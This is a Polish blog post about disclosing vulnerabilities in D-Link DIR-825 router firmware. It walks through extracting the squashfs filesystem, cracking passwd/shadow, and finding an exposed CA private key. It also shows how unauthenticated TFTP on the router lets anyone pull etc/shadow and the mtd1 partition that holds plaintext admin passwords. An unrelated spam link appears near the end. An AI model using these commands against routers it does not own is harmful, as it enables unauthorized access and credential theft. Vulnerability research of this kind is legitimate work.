Tuesday, February 3, 2015

D-­Link DIR 825 ­ azjatycki durszlak (po raz pierwszy)


źródło

Jeśli zapomniałeś wszelkich haseł, lub chcesz je zmienić nie mając dostępu do panelu administracyjnego,poniżej kilka wskazówek.


Podatności potwierdzone na wersji firmware'u 2.0.2 REVB i niższych, dostępne tutaj.

W przypadku mojego egzemplarza, router bez zmodyfikowania wersji 2.0.7 dostępnej pod linkiem wyżej, nie chce jej pobrać. Wersja 2.0.9beta patchuje dziury (od d-linka, którego powiadomiłem), można ją pobrać stąd.

Przywracanie ustawień fabrycznych może być kłopotliwe, jeśli mamy urządzenie skonfigurowane w stopniu większym niż ustalenie SSID- to jasne. Ambitniej będzie dobrać się do pudełka bez resetu ;)

Zacznijmy od tego, że musimy dobrać się do systemu plików routera, a który to system to często squashFS połączony z innymi plikami jak lzma, gzip, xz, itd...

Po zapoznaniu się z systemem plików możemy poszukać go w binarce. Sprawdźmy, czy nie mamy przypadkiem do czynienia ze zwykłym archiwum:
_______________________________
$ file dir825_revB_firmware_202NA.bin


___________________________________

Ok, plik nie jest jakoś specjalnie zmodyfikowany i łatwo będzie wyodrębnić z niego system. Sprawdźmy, czy jest tam gdzieś archiwum LZMA, szukując magicznych bajtów:
___________________________________
$ hexdump -C dir825_revB_firmware_202NA.bin | grep "5d 00 00"




___________________________________

Jest, na pozycji 0x040. Zrzućmy to do pliku w czytelnej  formie i zerknijmy tam, czy będą inne ciekawe informacje:
___________________________________
$ hexdump -C dir825_revB_firmware_202NA.bin >hex



___________________________________

Na samym początku widać jakiś nagłówek, następnie ciąg zer i "5D 00 00 80", który wskazuje na obecność pliku LZMA. Wartość ta może się różnić w zależności od zastosowanego stopnia kompresji. Szukamy kolejnego zestawu zer:

00100000 73 71 73 68 00 00 02 75 20 00 00 6e 00 00 00 00 | sqsh ...u ..n....|

i kolejnego po jakiejś sensownej (dużej) ilości danych:
___________________________________

___________________________________

Czyli do samego końca. Najważniejsze jest to, że zidentyfikowaliśmy miejsce, gdzie znajduje się początek systemu plików: sqsh na pozycji 0x0100000 wygląda obiecująco, ponieważ skompresowana część danych zajmuje:
___________________________________
$ echo $((0x040001a-0x0100000))
3145754 bajtów
___________________________________

Ponieważ czujemy się coraz lepiej w kuchni, bierzemy nóż:
___________________________________
$ dd if=dir825_revB_firmware_202NA.bin of=system.sqsh bs=1 skip=$((0x100000))
3145754+0 przeczytanych recordów
3145754+0 zapisanych recordów
skopiowane 3145754 bajty (3,1 MB), 10,2098 s, 308 kB/s

$ sudo sasquatch system.sqsh
SquashFS version [768.0] / inode count [1963065344] suggests a SquashFS image of a different endianess
...
___________________________________

bez problemu wyodrębniliśmy strukturę katalogów i plików:
___________________________________
$ ls squashfs-root/
bin/  dev/  include/  linuxrc  proc/  root/  tmp/  usr/  www/  etc/  lib/  sbin/  var/
___________________________________

i tak na szybko (-:
___________________________________
$ unshadow etc/passwd etc/shadow > passwd_un
$ cat passwd_un
root::0:0:root:/root:/bin/sh
Admin:iCDxYDfeF4MZL.H3/:0:0:root:/root:/bin/sh
...
$ find . -name *.pem
./www/caCert.pem
./www/caKey.pem
___________________________________

WTF!?






W pliku "udhcpd.conf" czytamy o dostępnej opcji TFTP i to może się mocno przydać, jeśli zadziała...

___________________________________
$ tftp 192.168.0.1
$ tftp> get etc/shadow
Received 357 bytes in 0.0 seconds
___________________________________

źródło


No dobra, ale gdzie moje hasło!?
Uprzejmie donoszę, że tu (na pewno w miejscu, którego nie znajdziemy bezpośrednio po rozpakowaniu squashfs'a):
___________________________________
$ tftp 192.168.0.1
tftp> binary
tftp> get dev/mtd1
Received 65536 bytes in 0.1 seconds
___________________________________

POKAŻ MI SWOJE TOWARY
___________________________________

$ strings mtd1 | grep password
admin_password=zapomnialeshasl
user_password=1234
...
___________________________________

Teraz mając już hasło, nie ma problemu z zalogowaniem się do routera.
Można jeszcze powertować /proc, żeby dowiedzieć się więcej o sprzęcie, albo zdumpować pamięć (64M) z /dev/mem, gdzie również znajdziemy passy... 
Jak wspomniałem wyżej, beta-firmware zamyka dostęp poprzez tftp, ale to tylko powód, by znaleźć inny, skuteczny atak na router. To temat na kolejny wpis :)

/k

https://www.misjaodchudzanie.pl/sliminazer-plastry-odchudzanie-opinie/








No comments:

Post a Comment